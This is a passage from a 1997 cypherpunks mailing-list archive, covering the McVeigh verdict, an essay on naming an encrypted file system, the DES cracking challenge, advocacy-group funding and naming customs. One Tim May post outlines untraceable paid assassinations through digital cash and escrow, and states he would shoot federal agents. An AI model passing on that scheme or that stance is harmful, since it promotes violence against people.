Charset: noconv iQCVAwUBM5QwKoVO4r4sgSPhAQHU0wQAurkb8o8xMiNV6urPikwmn7R57EFqx/nl SX48j+6PdihKT1c8oV9b+SmWlJMLjfCdEee0AZWhSlnrl2H6yt+JC5SrxD40dtSE C0tg4tbjXe5H5VI8HT1i6qobS7y5dI6moWyaHhxc4Zg4g7ztpNnYLTMKOxsLG2jk Pp0ZgLdS6Kc= =OtSv -----END PGP SIGNATURE----- From hallam at ai.mit.edu Tue Jun 3 08:59:10 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Tue, 3 Jun 1997 23:59:10 +0800 Subject: McVeigh In-Reply-To: <3.0.2.32.19970602232450.03a764b8@netcom13.netcom.com> Message-ID: <199706031525.LAA07241@muesli.ai.mit.edu> > At 08:41 PM 6/2/97 -0400, Hallam-Baker wrote: > >Appologists for McVeigh should consider that his actions did not > >advance the militia cause an iota, it destroyed it and along with > >it much of the right wing fringe. > > "Follow the money" is usually sound advice. More general, ask "who > benefits". Clearly, the constitutional militias and civil libertarians are > the losers of the Oklahoma bombing. The sole benefactors are the statists > and numerous government agencies. That does not mean that they were the instigators. The militia potentially stood to gain if the government overreacted and introduced martial law type curbs. The objective of terrorism is to provoke a reaction that can be used as "proof" of the dictatorial nature of the opponent. This is why the IRA spends its time burning down factories where Catholics work, it can then blame the state of the Northern Ireland economy on "the British". The damage done to Newt, Limbaugh and co was because of their reaction to the bomb. Limbaugh failed to give the categorical repudiation the act required. Liddy appeared to be supportive with his "shoot for the head" statement. It was very easy to pin part of the blame for Oaklahoma on the people who had made a living out of stirring up hatred and paranoia. Newt Gingrich got tarred by association with Liddy and Limbaugh. When the bombing occured he did precisely what he accuses Clinton of, he equivocated waiting until the public mood was apparent to condem the radio extreemists. It was too late for Newt to avoid blame since he had also made much of his career out of the type of anti-government rant that led McVeigh to mass murder. There is a principle in propaganda that people unwittingly accuse others of their own failings. Hence Newt who began his speakership by seaking a $2 million bribe from Rupert Murdoch believes Clinton must also be on the take. The same principle is at work on the net. McVeigh is found guilty of murder on the basis of a collosal mountain of evidence. The reaction from the pro-millitia, pro-McVeigh people is that McVeigh must have been framed and everyone who believes otherwise is guilty of "knee jerk" reactions. If that isn't a knee jerk reaction I don't know what is. There is absolutely nothing that the anti-government ranters contribute to the pro-cryptography movement. They are a liability at best. Stuart Baker is even now probably peddling his Clipper chip initiative in Europe holding up one of Jim Bell's rants as "proof" of his case. Phill From stutz at dsl.org Tue Jun 3 09:44:54 1997 From: stutz at dsl.org (Michael Stutz) Date: Wed, 4 Jun 1997 00:44:54 +0800 Subject: Remove this link immediately In-Reply-To: <199706030203.VAA13705@einstein.ssz.com> Message-ID: On Mon, 2 Jun 1997, Jim Choate wrote: [snipped] > > > > Your hackers resource page contains a link to my GURU'S LAIR WEB site > > > > at http://www.tinaja.com > > > > Please remove this link. > > > > Please do so immediately. > > > > > > Short answer, no. If you don't want links to it don't put it on the net. > > > > > > > Your actions constitute criminal libel. > > You will be treated accordingly. > > -- > > Many thanks, > > > > Don Lancaster Aside from the blatant rip-offs, I like some of Don's stuff -- but he does seem to've missed a lesson or two about the net. I especially like the list of newsgroups at http://www.tinaja.com/text/newslist.html which say "reposting is expressly forbidden." From alano at teleport.com Tue Jun 3 10:15:40 1997 From: alano at teleport.com (Alan) Date: Wed, 4 Jun 1997 01:15:40 +0800 Subject: Cryptographic Mythology (fwd) Message-ID: I found this on the firewalls mailing list. It needed to find its way here... alano at teleport.com | "That will make it hot for them" - Guy Grand ---------- Forwarded message ---------- Date: Wed, 4 Jun 1997 02:03:43 +1000 (EST) From: proff at suburbia.net To: firewalls at greatcircle.com Subject: Cryptographic Mythology Here is something to amuse, delight and horrify - the tail of: _One Man's Search for a Cryptographic Mythology_. I recently wrote a VNODE (4.4bsd) based encrypted file-system. Now the day dawned when I decided it was high time to discard my rather egocentric working name _Proffs_ (i.e Proff File System) and cast about for a decent, respectable name. My first thought on this matter was: CERBERUS, n. The watch-dog of Hades, whose duty it was to guard the entrance -- against whom or what does not clearly appear; everybody, sooner or later, had to go there, and nobody wanted to carry off the entrance. Cerberus is known to have had three heads, and some of the poets have credited him with as many as a hundred. Only, what was the relation between KERBEROS and CERBERUS? Pups from the same litter, or was the relationship a little more incestuous? I had to find out. There was no way - n o w a y - I'd be having my encrypted file system playing second fiddle to that evil authentication beast. KERBEROS; also spelled Cerberus. n. The watch dog of Hades, whose duty it was to guard the entrance--against whom or what does not clearly appear; . . . it is known to have had three heads. . . Mythology couldn't get any more incestuous than that. 450,000 bytes of Greek polytheism later, and I'm wondering if the Gods of Olympus really had any high-paid guards to speak of except the multi-headed mongrel from Hades. I'm feeling down. I'm cursing the Ancients. I'm disrespectfully humming tunes `All and All it's Just Another Greek in the Wall', and `Athena be my Lover' when I discover: JANUS: in Roman mythology, custodian of the universe, god of beginnings. The guardian of gates and doors, he held sacred the first hour of the day, first day of the month, and first month of the year (which bears his name). He is represented with two bearded faces set back to back. Custodian of the universe. Guardian of gates and doors. Cooool. Janus. January. I like it. Only while I'm liking it, I'm thinking that I've heard the word Janus a lot before. I'm thinking it isn't just me who has looked up from the middle of a Greek mythology text, whilst in the throes of a name hunt with the words "Cooool" on their tongue. No: the Gods just don't smile on me that way. AltaVista confirms the truth of Heaven's bad attitude towards me. 17,423 references. _The Janus Mutual Trade Fund_, _The Janus Project_, _Janus ADA95_, a dozen ISPs from Canada (what is it WITH these Canadians?), _Janus' cool word list_ (turns out to be not so cool), _The Janus Ensemble_, _Hotel Janus_, _Janus Theatre_, _janus.com_, _janusfunds.com_, _Janus_ an Australian Police drama series and of course, the sixth moon of Saturn - _Janus_. Janus is out-of-the-picture. I'm not sure whether to feel smug or grim about the rest of the world's lack of originality. Guards. Guardians. The Greeks didn't have many with bite and I'm loosing patience with the whole culture. Euphrosyne, Aglaia, and Thalia do not grace me. What I need is something that evokes passion within my cryptographic domain. And when you come down to it, that means something which produces copious amounts of gore and blood, at will, from those who would dare to pass its demesne of protection. The Erinyes, or Furies, were three goddesses who punished by their secret stings the crimes of those who escaped or defied public justice. The heads of the Furies were wreathed with serpents, and their whole appearance was terrific and appalling. Their names were Alecto, Tisiphone, and Megaera. They were also called Eumenides. Aye. Plenty of gore there. But somewhat lacking in cryptographic analogy. Fantastic material for the group that doesn't meet at number 41 every Saturday night though. They will appreciate what the Erinyes were trying to achieve. Somewhat heartened, my mind turns to the Erinyes' dress sense. "..heads of the Furies were wreathed with serpents, and their whole appearance was terrific and appalling". Terrific. Serpents. Terrific \Ter*rif"ic\, a. [L. terrificus; fr. terrere: to frighten + facere: to make. See Terror, and Fact.] Causing terror; adapted to excite great fear or dread; terrible; as, a terrific form; a terrific sight. Is it a symptom of society in decay that this word has come to mean: Excellent \Ex"cel*lent\, a. [F. excellent, L. excellens, -entis, p. pr. of excellere. See Excel.] 1. Excelling; surpassing others in some good quality or the sum of qualities; of great worth; eminent, in a good sense; superior, as an excellent man, artist, citizen, husband, discourse, book, song, etc.; excellent breeding, principles, aims, action. Or as Milton would say: To love . . . What I see excellent in good or fair. On the other hand, David Hume (1711-1776): The more exquisite any good is, of which a small specimen is afforded us, the sharper is the evil, allied to it; and few exceptions are found to this uniform law of nature. The most sprightly wit borders on madness; the highest effusions of joy produce the deepest melancholy; the most ravishing pleasures are attended with the most cruel lassitude and disgust; the most flattering hopes make way for the severest disappointments. And, in general, no course of life has such safety (for happiness is not to be dreamed of) as the temperate and moderate, which maintains, as far as possible, a mediocrity, and a kind of insensibility, in every thing. Perhaps it is the sign of a brain in decay, rather than a society that I dwell on it so, because Terrific hair serpents of course lead unfailing into the arms of the Medusa. A guardian of fearsome looks, but dubious motivations according to authorities like Clash of the Titans (1981). A moot point, perhaps as Princeton's history department no longer wants to talk to me. I'm cast adrift, to rely on my Plasticine childhood memories and the mythological swamp of the web. NAME: Medusa FAVORITE PASTIME: Turning men to stone PLACE OF ORIGIN: Los Alamos Secret CIA Lab SPECIAL GIFTS: Petrified Aggregate Projectist FAVORITE MOVIE: Mighty Morphin' Power Rangers GOALS IN LIFE: To be a nice person FAVORITE BOOK: Madonna's biography PET PEEVE: Bad hair days Jesus. I've been sucked into comic book hell. Princeton, take me back. I won't curse at the ancient Greek's sexual proclivities anymore. I'm sure chaste marriages were very daunting to those yet to have them. I was only joking. Lighten up will you? But, alas, the history faculty however was still nursing its wounds, and was not ready to forgive me. I'd have to find an authoritative source somewhere else. Perhaps I could filter out the comic book hell contaminants and come up with respected history Ivy, even if it wasn't Princeton Ivy. To decapitate - to castrate. The terror of the Medusa is thus a terror of castration that is linked to the sight of something. The hair upon the Medusa's head is frequently represented in works of art in the form of snakes, and these once again are derived from the castration complex. It is a remarkable fact that however frightening they may be in themselves, they nevertheless serve as a mitigation of the horror, for they replace the penis, the absence of which is the cause of the horror. This is a confirmation of the technical rule according to which a multiplication of penis symbols signifies castration. Sigmund Freud The Medusa's Head You had to hand it to Sigmund. He was nothing if not authoritative, and after reading his inspiring words on the terrific serpent haired woman, it became clear to me that _Proffs_ and the Gorgon had somewhat unresolved metaphorical incompatibilities. I didn't want my software giving anyone a castration complex. I decided to put aside the denizens of Olympus from contest verbatim. I'd read Fraud on Perversions a few years before and knew Medusa was just a portent of what was to come. What I needed was another polytheist culture entirely. Latin didn't help me. Nearly all the Roman Gods had been vilely plagiarised from the Greeks, Latin names or not. Freud knew this as well as I did. The Norse gods were of little assistance to me. The only one worth paying school to was Loki, the Norse god of mischief. Loki was a very cool fellow, which was why his name has been appropriated as a moniker by virtually every Bjorn, Sven, and Bob hacker to come out of Scandinavia in the last 10 years. No, Loki was not for me. The problem craved for a polytheist mythology outside the realm of my, and more importantly Sigmund Freud's, Western European upbringing. The answer to my question was by definition locked within a body of history I didn't know an onion skin about. In order for the pilgrim to reach the master he must first place his foot on the path, no matter how gradual the slope up the mountain of enlightenment. Zen Buddhism is good like that. Fabricating parables up as you go along that is. Zen master Gutei raised his finger whenever he was asked a question about Zen. A young novice began to imitate him in this way. When Gutei was told about the novice's imitation, he sent for him and asked him if it were true. The novice admitted it was so. Gutei asked him if he understood. In reply the novice held up his index finger. Gutei promptly cut it off. The novice ran from the room, howling in pain. As he reached the threshold, Gutei called, "Boy!". When the novice returned, Gutei raised his index finger. At that instant the novice was enlightened. But wait. This Koan isn't fabricated. At least, not by me. And unlike most Zen Koan's I think you will agree that it pleasantly satisfies Schopenhauer's "life, without pain, has no meaning". However, semantically I'm seeing a very unhealthy correlation to forgetting one's encryption key and losing one's finger. My mind is drawn to the memory of the real-life nightmare of laying in the easy-chair of a Swanston St. hypnotherapist suite, gazing intently into a bright, but distant red light, while chanting the mantra "I am not cynical about hypnotherapy. I am not cynical about hypnotherapy. I am not cynical about an Indian doctor with a 5th floor office decorated coup'd'Edelstien. I'm not cynical about a man who claims that his foremost clientele are rich middle aged women who have put their jewellery somewhere "safe" and consequently are unable to recall the location. I'm not cynical about a hypnotist who extols the virtues of having a M.D. so his patients can claim 2/3rds of the cost of these jewellery retrieval sessions under Medicare. I'm not cynical that these middle aged women are infact suffering from some form of Mesmer complex. And by all the powers in Heaven, I have no pessimism about recalling my god-damned pass-phrase!". I never did remember the pass-phrase and you will notice Gutei keeps very quiet about what he does with the novice's finger. In this particular case, given the value of the data, I would have traded placed with Gutei's novice, before you can say "Boy! Was I enlightened". I put my chin on my knee, and stare at the grain of my beige plastic monitor case. Unless I could jump into another reality it was the end of the line for _Proffs_ and _One Man's Search for a Cryptographic Mythology_. Boy! Was I bummed. One of the great sins of us programmers is procedural thinking. And it was exactly this sort of folly I was engaging in. There were around 6 billion other realities going about their business. I grant you that 2 billion of these were no doubt indulging in the confusion and diffusion of an avalanche of pseudo-random mental images and sequences we associate with dreams, and probably another 2 billion busy expanding their minds with the powerful products of hash or decaying into a compressive state of increasing entropy and beer rounds. This still left a select 2 billion souls with which to weave my work. If I approached them directly rather than by analysing the information trails they left behind, I'd stand a good chance of getting my feet onto the path of cryptographic mythological enlightenment. I have a Swedish friend who calls himself Elk on odd days and Godflesh on even days. Don't ask why. As far as I know he's not bisexual. Elk listened to my quest for cryptographic myth. He had pondered, and uncovered a diamond in the rough. MARUTUKKU. The third name is MARUTUKKU, Master of the arts of protection, chained the Mad God at the Battle. Sealed the Ancient Ones in their Caves, behind the Gates. F a r o u t. Master of the arts of protection. Chained the Mad God. Sealed the Ancient Ones in their Caves, behind the Gates. Even the very word MARUTUKKU looks like it has been run through a product cipher. But I wasn't about to trust the work of a self-admitted Swedish Sumeria freak who was obviously suffering from a bi-polar moniker disorder. Was it mere coincidence that MARUTUKKU was an anagram for KUKU MART and KUKU TRAM? I didn't want MARUTUKKU to end up as another cog in the annals of Freudian analogy. What I needed was the sort of Authoritative History that only Princeton's history faculty could provide. The tablets of the Enuma Elish: The Akkadian Creation Epic Based on the translation of E. A. Speiser, with the additions by A. K. Grayson, Ancient Near-Eastern Texts Relating to the Old Testament, third edition, edited by James Pritchard (Princeton, 1969), pp. 60-72; 501-503, with minor modifications. This work, the ancient Mesopotamian creation epic consisting of seven tablets, tells of the struggle between cosmic order and chaos. It is named after its opening words. It was recited on the fourth day of the ancient Babylonian New Year's festival. The text probably dates from the Old Babylonian period, i.e., the early part of the second millennium B.C.E. [...] The third name is MARUTUKKU Master of the arts of protection, chained the Mad God at the Battle. Sealed the Ancient Ones in their Caves, behind the Gates. [...] MARUTUKKU truly is the refuge of his land, city, and people. Unto him shall the people give praise forever. All praise the MARUTUKKU! My search had born a ripe and tasty fruit indeed. The quest for a cryptographic mythology was complete. Or was it? The words of Hume kept coming back to me and I had a nagging feeling that there was some substance in them. If MARUTUKKU was my exquisite cryptographic good, of wit, effusive joy, ravishing pleasure and flattering hope; then where was the counter point? The figure to its ground - the sharper evil, the madness, the melancholy, the most cruel lassitudes and disgusts and the severest disappointments. Was Hume right? Because if he was, there was only one organisation this string of hellish adjectives could represent. The cryptographic devil with its 500,000 sq feet of office space in Maryland. But surely there could be no reference to such an organisation in the 4,000 year old Babylonian tablets. The idea was preposterous. Wasn't it? TABLET VII OF THE ENUMA ELISH: ESIZKUR shall sit aloft in the house of prayer; May the gods bring their presents before him, that from him they may receive their assignments; none can without him create artful works. Four black-headed ones are among his creatures; aside from him no god knows the answer as to their days. It's a cold and wintry night, here in Melbourne. Despite this, the gusts of wind and rain seem to be unusually chilling. What had I, in my search for a cryptographic mythology, stumbled onto? I look hard at the seven letters E-S-I-Z-K-U-R. A frown turns to a smile and then a dead pan stare. I write down: IRK ZEUS -- Prof. Julian Assange |If you want to build a ship, don't drum up people |together to collect wood and don't assign them tasks proff at iq.org |and work, but rather teach them to long for the endless proff at gnu.ai.mit.edu |immensity of the sea. -- Antoine de Saint Exupery From bryce at digicash.com Tue Jun 3 10:23:50 1997 From: bryce at digicash.com (Bryce) Date: Wed, 4 Jun 1997 01:23:50 +0800 Subject: any off-line client for DES crack? In-Reply-To: Message-ID: <199706031005.MAA22408@digicash.com> A million monkeys operating under the pseudonym "Lucky Green " typed: > > Are the computers completely off the net or are they behind a firewall or > dial-up connection? If the boxes can talk to a networked UNIX box > that is behind the same side of the firewall or have a dial-up connection, > DESCHALL offers helper software for you. Nope. I'm thinking of really and truly off-the-net computers. I wonder how many of them there are that might participate in the DES crack if the input and output can simply be directed to/from a file... Regards, Zooko Disclaimers follow: I am not a crook. NOT speaking for DigiCash or any other person or organization. No PGP sig follows. From tcmay at got.net Tue Jun 3 10:46:12 1997 From: tcmay at got.net (Tim May) Date: Wed, 4 Jun 1997 01:46:12 +0800 Subject: "Follow the money" In-Reply-To: Message-ID: At 5:54 AM -0700 6/3/97, Declan McCullagh wrote: >This is a crucial point. Rotenberg != Berman. > >As much as I like individuals at CDT, I disagree fairly often with the >organization's position. CDT supported the so-called "compromise" that >would have replaced the CDA's indecency provision with a ban on material >that's "harmful to minors." They've done the wrong thing on Digital >Telephony in many cases -- helping phone companies suck in $$$ to make >their systems wiretappable more than helping civil liberties -- and >continue to do so. They're now silent (read the latest CDT post) on the >many problems with SAFE. > >Then again, CDT may not be good on individual rights in the examples above >but they don't support Rotenbergesque privacy regulations either. Again: >issue-by-issue alliances. It seems to me that an accounting of the *funding* of these organizations is in order. What fraction of CDT's budget comes from the telecom industry? What fraction from the software companies? What about the established crypto companies? "Follow the money." In their defense (!), it may be hard indeed for any group like them to viably exist on small contributions from citizens and indivuals at the bottom of the privacy food chain. The EFF made an attempt to get a lot of such members, but my sources tell me the membership base never exceeed 2500. I don't know what the current membership figures are. (2500 x $30 a year (on average) = $75,000, or hardly enough to pay for one computer technician or for one small bribe to a Congressional staffer.) (I was a member for a couple of years. I refused to sign up again after the Wiretap Bill fiasco, but then signed up again later when an Executive Director said they'd learned to mend their ways. No more, as it no longer seems a member-oriented group. To defend them, it probably would cost a lot more than $75K to have a staff to increase memmbership, to put out a newspaper or magazine, etc.) The National Rifle Association, NRA, is a good example to compare EFF, EPIC, CDT, etc. to. The NRA is largely member-driven, though membership has been declining. (The Charlton Heston faction says its because members were put off by the "militia" rhetoric, i.e., the strong pro-Second stance. Others of us say we've quit because NRA became too namby pamby about basic rights, e.g., its support of gun registration.) When the NRA took a greater fraction of its funding from "industry," it molded its views to those of industry. One manufacturer, Ruger (Sturm, Ruger, and Co.) decided that limits on "assault rifles" were not so bad, and the NRA followed suit. (This may be the reason today why NRA is mostly silent on the new bans on import of low-cost Chinese, Russian, and East Bloc rifles: such imports hurt Ruger, and Colt, and other American companies.) NRA is still a mostly member-driven organization (lots of dues flowing in), and yet it bends to industry wishes. I shudder to think what the NRA would be supporting if it were mainly _industry_-driven. Which is what I'm sure CDT and EPIC are. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From asgaard at cor.sos.sll.se Tue Jun 3 11:39:50 1997 From: asgaard at cor.sos.sll.se (Asgaard) Date: Wed, 4 Jun 1997 02:39:50 +0800 Subject: May's Banal Rant In-Reply-To: Message-ID: On Mon, 2 Jun 1997, Tim May wrote: >>I believe I'm under a fair risk of being named as a co-conspirator >>of Bell's... But on the contrary, I clearly remember that you were one of very few who actually warned Jim Bell in clear language that he might be crossing the line in some particular rants, where he parted from the more or less pure theoretical level of discussion and hinted 'threats' at almost-named 'targets'. Of course, he was in many peoples killfiles and others just wouldn't bother to comment on what was generally looked upon as lunacy - he has many more 'friends' on the list now than he ever had before his arrest, and that's understandable (protection of the right for loons to speak up). Your warning him (twice, I think) was a show of good-heartedness, really, as he might well have listened more to you than to those publically dismissing him with just utter disgust (like Phill Hallam-Baker*). Asgaard *Why is it that people of finer (?) English heritage often has a double second name? Someone once suggested to me that it originates from having (or an ancestor having) adopted the name of both one's 'marital' father and one's biological father, for reasons of property inheritance, but I never believed that one. Just curious. From nobody at huge.cajones.com Tue Jun 3 11:41:36 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Wed, 4 Jun 1997 02:41:36 +0800 Subject: any off-line client for DES crack? Message-ID: <199706031832.LAA22222@fat.doobie.com> Bryce wrote: >[...] >Nope. I'm thinking of really and truly off-the-net computers. >I wonder how many of them there are that might participate in >the DES crack if the input and output can simply be directed >to/from a file... >[...] One here. From asgaard at cor.sos.sll.se Tue Jun 3 12:22:06 1997 From: asgaard at cor.sos.sll.se (Asgaard) Date: Wed, 4 Jun 1997 03:22:06 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: Message-ID: Marc Rotenberg wrote: >Similarly, Anitha Bondestam, director general of the Data Inspection >Board of Sweden, writes in a recent report, "It is more important >than ever to bring back anonymity and make more room for personal >space." She urges her colleagues to sharply limit the collection of >personal data. A Swedish free-lance journalist and author of well researched books on the information society, Anders Olsson, have some interesting things to say on the likes of Anita Bondestam, from sort of a 'leftish' democratic viewpoint. He sees the achievements of the 'establishment privacy mafia' as mainly preventing 'the people' from keeping track of the wheelings and dealings of the nomenclatura for it's own benifit, and he doesn't think that this is unintentional. Data privacy laws are certainly an obstacle for sociologic research, among other things, and research results can be threatening to bureaucrats, plutocrats and monopolists. Laws against matching various 'public' registers for multiple entries are also making life easier for tax evaders (who might be libertarian heroes of course, but remember that for most salary-dependent people of lesser income it works like this: the more the entrepreneurs evade taxes, the more they have to pay to support the nomenclatura) but also for welfare cheaters and the like (not libertarian heroes!). Asgaard From tcmay at got.net Tue Jun 3 12:40:33 1997 From: tcmay at got.net (Tim May) Date: Wed, 4 Jun 1997 03:40:33 +0800 Subject: Will Bell get the rest of us in trouble? In-Reply-To: Message-ID: At 11:21 AM -0700 6/3/97, Asgaard wrote: >On Mon, 2 Jun 1997, Tim May wrote: > >>>I believe I'm under a fair risk of being named as a co-conspirator >>>of Bell's... > >But on the contrary, I clearly remember that you were one of very >few who actually warned Jim Bell in clear language that he might be >crossing the line in some particular rants, where he parted from the >more or less pure theoretical level of discussion and hinted 'threats' >at almost-named 'targets'. Of course, he was in many peoples killfiles Indeed I did, and this was before I knew anything about his (alleged) seeking out of home addresses of IRS agents and (alleged) stink bomb attacks on IRS offices. However, the focus, at least for why he has been denied bail, is strongly on the "assassination politics" essays and communications, and on "overthrowing the government" sorts of things. (This according to the affidavit, and according to what Greg Broiles relayed from Bell's court-appointed lawyer.) I expect some of my writings are involved...it would be hard for them _not_ to be on Bell's computer, or even printed out. (Bell originally proposed his AP in Usenet discussions, and was vague on possible payment mechanisms. He know nothing to speak of about public key cryptography and untraceable digital cash. Hal Finney referred him to my writings on how untraceable digital cash could be used to set up untraceable contract assassinations, and Bell joined the Cypherpunks list soon thereafter. This was in the fall of 1995. I have always argued that Bell's AP is just a gimmicky form of the more direct approach: using anonymous contact mechanisms and untraceable digital cash to directly arrange hits on those one wants dead. With third-party anonymous escrow services to hold the untraceable cash (and uncashable to them, probably, but not necessarily) until confirmation of the death has occurred. This is not advocacy of this system, just exploration of the implications and possible effects of strong cryptography. And I've been exploring these ideas since 1987...my 1988 "Crypto Anarchist Manifesto" explicitly refers to this use of untraceable payments. And Chaum has elliptically referred to such uses, though he is an order of magnitude more circumspect than I am. (I don't have a company to sell to other companies, or products to get endorsements and export approvals and all that for. I can afford to examine implications and even see how the work fits in with my political views without fear of offending either Bill Gates or Marc Rotenberg...or even Louis Freeh.) I hope they come to my house to ask me about my writings. I will tell them that unless they have a search warrant (or arrest warrant, or probable cause to arrest me there on the spot) they'll have to get off my property immediately. I have been reading with great interest the advice given by Duncan, Greg, and others, and I intend to provide no help to the Feds, nor to give them any information beyond my name, nor to let them ask me about my own writings. I will demand that I be arrested and then given a lawyer (I certainly don't plan to write out a check for $5000 to some local city lawyer just because they've hauled me in...I'll let a court-appointed lawyer do the grunt work). If they linger on my property without providing a valid search or arrest warrant, I will give them a count of 30 and then start firing. People have a right to defend their property against unlawful incursions by the Feds and the local cops. A 30-count seems like more that enough time for them to get off my property. (If you think this is unlikely, recall the Founding Event of the Electronic Frontier Foundation, the appearance of FBI agents at the rural home of John Perry Barlow to interrogate him about matters regarding Operation Sun Devil (or maybe it was the nuPrometheus League case...my memory has faded). Barlow was so incensed at the cluelessness of the FBI agents and their interrogation of him that he called Mitch Kapor to suggest something be done. Gilmore got involved soon thereafter. Thus was the EFF born.) >*Why is it that people of finer (?) English heritage often has a double >second name? Someone once suggested to me that it originates from having >(or an ancestor having) adopted the name of both one's 'marital' father >and one's biological father, for reasons of property inheritance, but >I never believed that one. Just curious. I don't know. But I've noticed some Swedish double names, too. Same mystery as why some lawyers put "Esquire" after their name, the canonical yuppie-fake Brit name being: "Winston Smith-Yates, III, Esq." Yuppies in the U.S. have often gone to the "feminist-friendly" hyphenization of their names, claiming it gives their children both names. (Oh yeah? It just pushes the problem one level deeper in the stack, as _their_ children than have to contend with being "Suzie Smith-Yates-Hallam-Baker." I like the Icelandic solution where girl children are "Suziesdottir" and boy children are "Winstonsson.") Oh, and in the U.S. it is often the women who go for these hyphenated names, while their husbands stick to the less awkward single name. Seems sexist to me, but it's their choice to stick themselves with these career-limiting hyphenated names. (We used to have a woman engineer at Intel with one of these hyphenated Yuppie names...I'm sure our jokes about her overly long name did not help her gain any respect.) (New Age yuppies in America also like to do really, really stupid things like combining their names into neologisms like combining Rotenberg and Froomkin, just to pick two examples out of the air (:-), into travesties like "Rotenkin." Or New Age nonsense like "Skysinger" and "Dolphinplay.") --Tim May-Heden, I, non-Esq. There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From whgiii at amaranth.com Tue Jun 3 12:42:18 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Wed, 4 Jun 1997 03:42:18 +0800 Subject: "Follow the money" In-Reply-To: Message-ID: <199706031930.OAA03157@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 06/03/97 at 10:31 AM, Tim May said: >NRA is still a mostly member-driven organization (lots of dues flowing >in), and yet it bends to industry wishes. I shudder to think what the NRA >would be supporting if it were mainly _industry_-driven. It would depend on how jucy of a govenment contract could be offered. >Which is what I'm sure CDT and EPIC are. I wounder how much it cost the Feds to buy the support of IBM,DEC,HP,et al. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5RxXI9Co1n+aLhhAQFEvQP+ORuU/orTBq7IqL7VT/CBC/bk/8diCZSZ iOcXCB0GXhn9bHWwKOn/sJd51LPpOHSZxObNKPkkEGZ+r6MvQYJXf/FN2KbYFaZo IWdmAmtQuMbxbGlsD/sJYb8BxpYKqtaXjxIDaEb6aDI199ZG0VqUohnKpzV0PeY4 B0cAbA4uUyA= =shrE -----END PGP SIGNATURE----- From root at nwdtc.com Tue Jun 3 12:49:48 1997 From: root at nwdtc.com (Alan Olsen) Date: Wed, 4 Jun 1997 03:49:48 +0800 Subject: Something for the conspiracy mongers... Message-ID: <339473B9.799D@nwdtc.com> http://www.wired.com/news/business/story/4209.html Here is an interesting news item. Make of it what you will... [arrow] ABC's Rush on Judgment Is a Red-Faced Flub by Austin Bunn 6:02pm 2.Jun.97.PDT ABCNews.com jumped the gun on the Timothy McVeigh verdicts Monday afternoon, posting that the Oklahoma City bombing defendant was guilty approximately an hour before the jurors had made their verdicts known in a Denver courtroom. Spokeswoman Eileen Murphy said the error was a "technical glitch" caused by a misunderstanding about servers used on the site, which launched just last month. ABCNews.com uses a staging server to hold the prepared news before posting it live, but executives were unaware that the ticker function uploads information live directly. "We've never done the ticker updating this way," said Murphy. Both headlines - "McVeigh Not Guilty" and "McVeigh Guilty" - ran for an undetermined amount of time. "It was not up for very long," assured Murphy. "Someone noticed immediately and ... deleted it from the ticker." It's common practice for news organizations to prepare alternate headlines and stories should such a ruling go either way in order to get the news out as quickly as possible. But this isn't the first time an online news operation has had problems with a high-profile verdict. In October 1995, Pathfinder declared O. J. Simpson "Guilty" in his criminal trial, moments after the jury had acquitted him. From the Wired News New York Bureau at FEED magazine. [arrow] [Image] Find Read a story in the Wired News archive. Feedback Let us know how we're doing. TipsHave a story or tip for Wired News? Send it. Copyright � 1993-97 Wired Ventures, Inc. and affiliated companies. All rights reserved. From trei at process.com Tue Jun 3 13:29:10 1997 From: trei at process.com (Peter Trei) Date: Wed, 4 Jun 1997 04:29:10 +0800 Subject: [OFF-TOPIC] Naming systems... Message-ID: <199706032014.NAA06953@rigel.cyberpass.net> Tim wrote: > At 11:21 AM -0700 6/3/97, Asgaard wrote: > > >*Why is it that people of finer (?) English heritage often has a double > >second name? Someone once suggested to me that it originates from having > >(or an ancestor having) adopted the name of both one's 'marital' father > >and one's biological father, for reasons of property inheritance, but > >I never believed that one. Just curious. That's the impression I got while I lived there. Many people regard it as rather pretentious (pace, Phil). At my school, there was a student who rejoiced in the moniker (I am not making this up): "The Honorable Jamie Darymple-Hamilton, Esq." > Yuppies in the U.S. have often gone to the "feminist-friendly" > hyphenization of their names, claiming it gives their children both names. > (Oh yeah? It just pushes the problem one level deeper in the stack, as > _their_ children than have to contend with being "Suzie > Smith-Yates-Hallam-Baker." I like the Icelandic solution where girl > children are "Suziesdottir" and boy children are "Winstonsson.") With the old Norse system, still used in Iceland, there is a tremendous namespace-collision problem. There is a fairly short list of acceptable first names (yes, there is a list, and you have to name your child from it - this is fairly common outside the US), and by the second generation these names, and only these names, get pushed into the surname namespace. Immigrants change their names to Icelandic ones as a requirement of citizenship. The one exception is that if you are still living in the place you were born, you can adopt the placename as your surname. Thus, Iceland, with only 265,000 people, has phonebooks which index by location and profession as well as by name to reach a reasonable level of dis-ambiguation. [Doubtless some Magnus Magnusson (the most common male Icelandic name) will correct some of the details here.] Peter Trei (that's Estonian, if you were wondering). trei at process.com From jchoate at tivoli.com Tue Jun 3 14:30:29 1997 From: jchoate at tivoli.com (James Choate) Date: Wed, 4 Jun 1997 05:30:29 +0800 Subject: Hacker Links page In-Reply-To: 